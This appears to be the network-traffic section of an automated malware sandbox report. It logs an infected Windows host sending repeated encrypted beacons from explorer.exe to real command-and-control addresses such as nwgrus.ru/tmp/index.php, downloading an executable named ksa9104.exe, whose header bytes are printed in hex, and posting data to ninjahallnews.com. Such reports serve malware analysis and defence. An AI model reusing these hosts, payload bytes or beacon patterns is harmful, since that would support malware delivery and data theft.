74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50057	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:21:32.500380039 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://csuhbuxabuhlm.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 275 Host: nwgrus.ru
Oct 8, 2024 00:21:32.500399113 CEST	275	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 57 3c d5 91 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA .[k,vuW<vIPxs*,]s71c&-Zo\R!pGETo^#$n.;3ra7Cpv.dmye; f
Oct 8, 2024 00:21:33.566517115 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:21:33 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50058	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:21:34.419028044 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lixbbuexbbyxijy.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 140 Host: nwgrus.ru
Oct 8, 2024 00:21:34.419050932 CEST	140	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 50 28 a0 a5 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA .[k,vuP(KRCaVsE[Ho5:4e-V2TG8v~
Oct 8, 2024 00:21:35.197633028 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:21:35 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50059	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:21:36.966672897 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://snydbdaflsjf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 140 Host: nwgrus.ru
Oct 8, 2024 00:21:36.966702938 CEST	140	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 47 58 c6 bd Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA .[k,vuGX#OQWW0IGqH,8]35E~
Oct 8, 2024 00:21:37.723088026 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:21:37 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50060	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:21:38.994489908 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://toxykxlssds.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 112 Host: nwgrus.ru
Oct 8, 2024 00:21:38.994489908 CEST	112	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 54 4e ef 9a Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA .[k,vuTNh!FCL5WW*AtX
Oct 8, 2024 00:21:39.804027081 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:21:39 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50061	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:21:51.599035978 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wujymmrsholuwdm.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 148 Host: nwgrus.ru
Oct 8, 2024 00:21:51.599056005 CEST	148	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 31 5b c0 89 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA .[k,vu1[b3vY`q@8U 4YFF\JXM/zGHh
Oct 8, 2024 00:21:52.354597092 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:21:52 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50062	109.175.29.39	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:22:07.699738979 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://anhllontjkcoc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 277 Host: nwgrus.ru
Oct 8, 2024 00:22:07.699768066 CEST	277	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 23 44 b4 ae Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA .[k,vu#DIGcbau'h~&g{Qp;ZV(_.ZFBs[D< #\\<` t"CNAPVo+QCJ>
Oct 8, 2024 00:22:08.471247911 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:22:08 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50064	211.171.233.129	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:22:28.580086946 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dfdglghjacuv.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 170 Host: nwgrus.ru
Oct 8, 2024 00:22:28.580101013 CEST	170	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 49 4f a0 8e Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA .[k,vuIOv:dQwa$_kww.PWe>1c(]8{*E0q^d
Oct 8, 2024 00:22:30.172260046 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:22:29 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50066	211.171.233.129	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:22:51.271368027 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://efoitwxyetuahvcx.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 369 Host: nwgrus.ru
Oct 8, 2024 00:22:51.271368027 CEST	369	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 2d 5f f8 83 Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA .[k,vu-_Z^JIjOZ3Ybvfxi+[[_?Fqy&4s#E8CqNa\|lm%MJEQ'XkTFycsY__,
Oct 8, 2024 00:22:52.888025045 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:22:52 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50068	211.171.233.129	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 00:23:16.756416082 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wgvksgwflrvxis.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 240 Host: nwgrus.ru
Oct 8, 2024 00:23:16.756416082 CEST	240	OUT	Data Raw: 3b 6e 50 11 f1 cb 1a 55 dd ae c6 70 73 09 7a ce 0b 02 c1 97 1e 07 92 11 08 7a 78 97 47 c5 b2 6b 98 5b b6 2e 75 1a 27 1d 9b 96 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 31 3e c7 fd Data Ascii: ;nPUpszzxGk[.u'? 9Yt M@NA .[k,vu1>m$zAX/31XP7pM$*@faO/9qQ\|&qbM:Cby``7Wik3Xa-k.9
Oct 8, 2024 00:23:20.287751913 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 07 Oct 2024 22:23:18 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49760	23.145.40.164	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:17 UTC	162	OUT	GET /ksa9104.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 23.145.40.164
2024-10-07 22:20:17 UTC	327	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:20:17 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff Last-Modified: Mon, 07 Oct 2024 22:00:03 GMT ETag: "6ec00-623ea249027e4" Accept-Ranges: bytes Content-Length: 453632 Connection: close Content-Type: application/x-msdos-program
2024-10-07 22:20:17 UTC	7865	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 7f a4 92 11 3b c5 fc 42 3b c5 fc 42 3b c5 fc 42 54 b3 62 42 23 c5 fc 42 54 b3 57 42 1c c5 fc 42 54 b3 56 42 57 c5 fc 42 32 bd 6f 42 3c c5 fc 42 3b c5 fd 42 b3 c5 fc 42 54 b3 53 42 3a c5 fc 42 54 b3 66 42 3a c5 fc 42 54 b3 61 42 3a c5 fc 42 52 69 63 68 3b c5 fc 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 cd bc 63 64 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$;B;B;BTbB#BTWBBTVBWB2oB<B;BBTSB:BTfB:BTaB:BRich;BPELcd
2024-10-07 22:20:17 UTC	8000	IN	Data Raw: 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 1c 2c 40 00 8b ff f7 d9 ff 24 8d cc 2b 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 20 2b 40 00 ff 24 8d 1c 2c 40 00 90 30 2b 40 00 54 2b 40 00 7c 2b 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 1c 2c 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 ee 02 83 ef 02 83 f9 08 72 88 fd f3 a5 fc ff 24 95 1c 2c 40 00 90 8a 46 03 23 d1 88 47 03 8a 46 02 88 47 02 8a 46 01 c1 e9 02 88 47 01 83 ee 03 83 ef 03 83 f9 08 0f 82 56 ff ff ff fd f3 a5 fc ff 24 95 1c 2c 40 00 8d 49 00 d0 2b 40 00 d8 2b 40 00 Data Ascii: FGFGE^_t1\|9u$r$,@$+@Ir+$ +@$,@0+@T+@\|+@F#Gr$,@IF#GFGr$,@F#GFGFGV$,@I+@+@
2024-10-07 22:20:17 UTC	8000	IN	Data Raw: be c0 89 85 72 ff ff ff e9 b2 00 00 00 66 8b 85 5c ff ff ff 66 83 e0 20 75 18 9b df e0 66 83 e0 20 74 0f c7 85 72 ff ff ff 08 00 00 00 e9 8d 00 00 00 d9 ad 5c ff ff ff 9b c3 66 8b 85 36 fd ff ff 66 25 f0 7f 66 0b c0 74 1b 66 3d f0 7f 74 43 eb bb 66 8b 85 36 fd ff ff 66 25 f0 7f 66 3d f0 7f 74 30 eb a8 c7 85 72 ff ff ff 04 00 00 00 dd 05 08 fd 40 00 d9 c9 d9 fd dd d9 d9 c0 d9 e1 dc 1d f8 fc 40 00 9b df e0 9e 73 34 dc 0d 18 fd 40 00 eb 2c c7 85 72 ff ff ff 03 00 00 00 dd 05 00 fd 40 00 d9 c9 d9 fd dd d9 d9 c0 d9 e1 dc 1d f0 fc 40 00 9b df e0 9e 76 06 dc 0d 10 fd 40 00 56 57 8b 9d 6c ff ff ff 43 89 9d 76 ff ff ff f6 85 38 fd ff ff 01 75 1a fc 8d 75 08 8d bd 7a ff ff ff a5 a5 80 7b 0c 01 74 08 8d 75 10 8d 7d 82 a5 a5 dd 5d 8a 8d 85 72 ff ff ff 8d 9d 5c ff ff Data Ascii: rf\f uf tr\f6f%ftf=tCf6f%f=t0r@@s4@,r@@v@VWlCv8uuz{tu}]r\
2024-10-07 22:20:17 UTC	8000	IN	Data Raw: 55 08 74 09 8b 4d 08 83 45 08 04 89 31 ff 07 33 ff 47 33 d2 eb 04 83 c0 02 42 66 83 38 5c 74 f6 66 83 38 22 75 38 f6 c2 01 75 1f 83 7d fc 00 74 0c 66 83 78 02 22 75 05 83 c0 02 eb 0d 33 c9 33 ff 39 4d fc 0f 94 c1 89 4d fc d1 ea eb 10 4a 85 f6 74 09 6a 5c 59 66 89 0e 83 c6 02 ff 03 85 d2 75 ec 0f b7 08 66 85 c9 74 24 39 55 fc 75 0a 83 f9 20 74 1a 83 f9 09 74 15 85 ff 74 0c 85 f6 74 06 66 89 0e 83 c6 02 ff 03 83 c0 02 eb 81 85 f6 74 08 33 c9 66 89 0e 83 c6 02 ff 03 8b 7d 0c e9 30 ff ff ff 8b 45 08 3b c2 74 02 89 10 ff 07 5f 5e c9 c3 8b ff 55 8b ec 51 51 53 56 57 68 04 01 00 00 be 98 18 45 00 56 33 c0 33 db 53 66 a3 a0 1a 45 00 ff 15 78 f0 40 00 a1 a4 cc 45 00 89 35 9c 10 45 00 3b c3 74 07 8b f8 66 39 18 75 02 8b fe 8d 45 fc 50 53 8d 5d f8 33 c9 8b c7 e8 5b Data Ascii: UtME13G3Bf8\tf8"u8u}tfx"u339MMJtj\Yfuft$9Uu ttttft3f}0E;t_^UQQSVWhEV33SfEx@E5E;tf9uEPS]3[
2024-10-07 22:20:17 UTC	8000	IN	Data Raw: 75 13 a1 20 bf 44 00 3d f8 ba 44 00 74 07 50 e8 d4 a8 ff ff 59 89 1d 20 bf 44 00 53 ff d7 c7 45 fc fe ff ff ff e8 02 00 00 00 eb 30 6a 0d e8 2d d3 ff ff 59 c3 eb 25 83 f8 ff 75 20 81 fb f8 ba 44 00 74 07 53 e8 9e a8 ff ff 59 e8 9c c4 ff ff c7 00 16 00 00 00 eb 04 83 65 e0 00 8b 45 e0 e8 78 cf ff ff c3 83 3d b8 cc 45 00 00 75 12 6a fd e8 56 fe ff ff 59 c7 05 b8 cc 45 00 01 00 00 00 33 c0 c3 cc cc cc cc 55 8b ec 56 33 c0 50 50 50 50 50 50 50 50 8b 55 0c 8d 49 00 8a 02 0a c0 74 09 83 c2 01 0f ab 04 24 eb f1 8b 75 08 83 c9 ff 8d 49 00 83 c1 01 8a 06 0a c0 74 09 83 c6 01 0f a3 04 24 73 ee 8b c1 83 c4 20 5e c9 c3 cc cc cc cc cc cc cc cc cc cc 8b 54 24 0c 8b 4c 24 04 85 d2 74 69 33 c0 8a 44 24 08 84 c0 75 16 81 fa 80 00 00 00 72 0e 83 3d a0 cc 45 00 00 74 05 e9 Data Ascii: u D=DtPY DSE0j-Y%u DtSYeEx=EujVYE3UV3PPPPPPPPUIt$uIt$s ^T$L$ti3D$ur=Et
2024-10-07 22:20:17 UTC	8000	IN	Data Raw: 83 48 04 04 c7 45 10 91 00 00 c0 f6 c1 04 74 0e 8b 45 08 83 48 04 08 c7 45 10 8e 00 00 c0 f6 c1 08 74 0e 8b 45 08 83 48 04 10 c7 45 10 90 00 00 c0 8b 75 0c 8b 0e 8b 45 08 c1 e1 04 f7 d1 33 48 08 83 e1 10 31 48 08 8b 0e 8b 45 08 03 c9 f7 d1 33 48 08 83 e1 08 31 48 08 8b 0e 8b 45 08 d1 e9 f7 d1 33 48 08 83 e1 04 31 48 08 8b 0e 8b 45 08 c1 e9 03 f7 d1 33 48 08 83 e1 02 31 48 08 8b 0e 8b 45 08 c1 e9 05 f7 d1 33 48 08 23 cb 31 48 08 e8 30 04 00 00 84 c3 74 07 8b 4d 08 83 49 0c 10 a8 04 74 07 8b 4d 08 83 49 0c 08 a8 08 74 07 8b 4d 08 83 49 0c 04 a8 10 74 07 8b 4d 08 83 49 0c 02 a8 20 74 06 8b 45 08 09 58 0c 8b 06 b9 00 0c 00 00 23 c1 74 35 3d 00 04 00 00 74 22 3d 00 08 00 00 74 0c 3b c1 75 29 8b 45 08 83 08 03 eb 21 8b 45 08 8b 08 83 e1 fe 83 c9 02 89 08 eb 12 Data Ascii: HEtEHEtEHEuE3H1HE3H1HE3H1HE3H1HE3H#1H0tMItMItMItMI tEX#t5=t"=t;u)E!E
2024-10-07 22:20:17 UTC	8000	IN	Data Raw: 1f 03 c2 8b d1 c1 f8 05 81 e2 1f 00 00 80 79 05 4a 83 ca e0 42 83 65 d8 00 83 65 e0 00 83 ce ff 8b ca d3 e6 c7 45 dc 20 00 00 00 29 55 dc f7 d6 8b 4d e0 8b 7c 8d f0 8b cf 23 ce 89 4d d4 8b ca d3 ef 8b 4d e0 0b 7d d8 89 7c 8d f0 8b 7d d4 8b 4d dc d3 e7 ff 45 e0 83 7d e0 03 89 7d d8 7c d0 8b f0 6a 02 c1 e6 02 8d 4d f8 5a 2b ce 3b d0 7c 08 8b 31 89 74 95 f0 eb 05 83 64 95 f0 00 83 e9 04 4a 79 e9 33 c0 5e 6a 1f 59 2b 0d 84 c1 44 00 d3 e3 8b 4d c8 f7 d9 1b c9 81 e1 00 00 00 80 0b d9 8b 0d 88 c1 44 00 0b 5d f0 83 f9 40 75 0d 8b 4d cc 8b 55 f4 89 59 04 89 11 eb 0a 83 f9 20 75 05 8b 4d cc 89 19 8b 4d fc 5f 33 cd 5b e8 60 78 ff ff c9 c3 8b ff 55 8b ec 83 ec 38 a1 70 b7 44 00 33 c5 89 45 fc 8b 45 08 8b 4d 0c 89 4d cc 0f b7 48 0a 53 8b d9 81 e1 00 80 00 00 89 4d c8 Data Ascii: yJBeeE )UM\|#MM}\|}ME}}\|jMZ+;\|1tdJy3^jY+DMD]@uMUY uMM_3[`xU8pD3EEMMHSM
2024-10-07 22:20:17 UTC	8000	IN	Data Raw: 9d 04 00 4c 9d 04 00 60 9d 04 00 6e 9d 04 00 82 9d 04 00 90 9d 04 00 a2 9d 04 00 b0 9d 04 00 c8 9d 04 00 dc 9d 04 00 ec 9d 04 00 f8 9d 04 00 02 9e 04 00 16 9e 04 00 26 9e 04 00 3c 9e 04 00 4e 9e 04 00 64 9e 04 00 48 9c 04 00 8e 9e 04 00 a2 9e 04 00 b6 9e 04 00 c6 9e 04 00 dc 9e 04 00 ec 9e 04 00 06 9f 04 00 16 9f 04 00 2e 9f 04 00 40 9f 04 00 58 9f 04 00 6c 9f 04 00 82 9f 04 00 92 9f 04 00 a0 9f 04 00 b2 9f 04 00 c6 9f 04 00 d6 9f 04 00 e4 9f 04 00 f2 9f 04 00 00 a0 04 00 14 a0 04 00 28 a0 04 00 3e a0 04 00 52 a0 04 00 68 a0 04 00 76 a0 04 00 36 9c 04 00 24 9c 04 00 74 9e 04 00 10 9c 04 00 9a a4 04 00 8c a4 04 00 e6 a0 04 00 f6 a0 04 00 06 a1 04 00 0e a1 04 00 2a a1 04 00 42 a1 04 00 5a a1 04 00 72 a1 04 00 7e a1 04 00 8c a1 04 00 a0 a1 04 00 ae a1 04 00 Data Ascii: L`n&<NdH.@Xl(>Rhv6$t*BZr~
2024-10-07 22:20:17 UTC	8000	IN	Data Raw: 64 27 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 60 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 60 64 79 6e 61 6d 69 63 20 61 74 65 78 69 74 20 64 65 73 74 72 75 63 74 6f 72 20 66 6f 72 20 27 00 00 00 00 60 64 79 6e 61 6d 69 63 20 69 6e 69 74 69 61 6c 69 7a 65 72 20 66 6f 72 20 27 00 00 60 65 68 20 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 70 79 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 60 65 68 20 76 65 63 74 6f 72 20 63 6f 70 79 20 63 6f 6e 73 Data Ascii: d'`managed vector copy constructor iterator'`vector vbase copy constructor iterator'`vector copy constructor iterator'`dynamic atexit destructor for '`dynamic initializer for '`eh vector vbase copy constructor iterator'`eh vector copy cons
2024-10-07 22:20:17 UTC	8000	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49882	23.145.40.168	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 22:20:42 UTC	285	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://pdafocuyeqbl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 180 Host: ninjahallnews.com
2024-10-07 22:20:42 UTC	180	OUT	Data Raw: 72 19 87 cc 8d 7b 1c 8a 19 f7 9b 18 4f 86 11 29 d0 84 b1 a6 66 7a 3c f3 70 71 c4 e0 ee a7 42 ed 01 9a cf f2 00 8f ae 84 85 01 d0 cf e9 20 29 a1 c5 c1 36 49 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6a 34 01 83 b6 25 93 3c 21 d2 61 e2 81 ce 53 2e c1 63 19 b7 2f 9a ef 3c 28 e7 19 3e 76 dc d8 cc 47 e2 f9 73 73 94 f5 7f ba 48 58 b9 97 71 2c 5c 60 33 1b 8c 37 d7 85 b2 49 92 bc 5d 7e 31 82 46 51 cf 53 65 e6 85 ea c8 50 2d b1 12 fe 6f 9a 0b 47 aa 52 8f 20 2e 7a 26 15 d3 e6 63 84 94 12 c2 1a 71 c6 cd b4 18 d0 a1 7d af c1 a3 99 6f Data Ascii: r{O)fz<pqB )6IP g3iqH[CLj4%<!aS.c/<(>vGssHXq,\`37I]~1FQSeP-oGR .z&cq}o
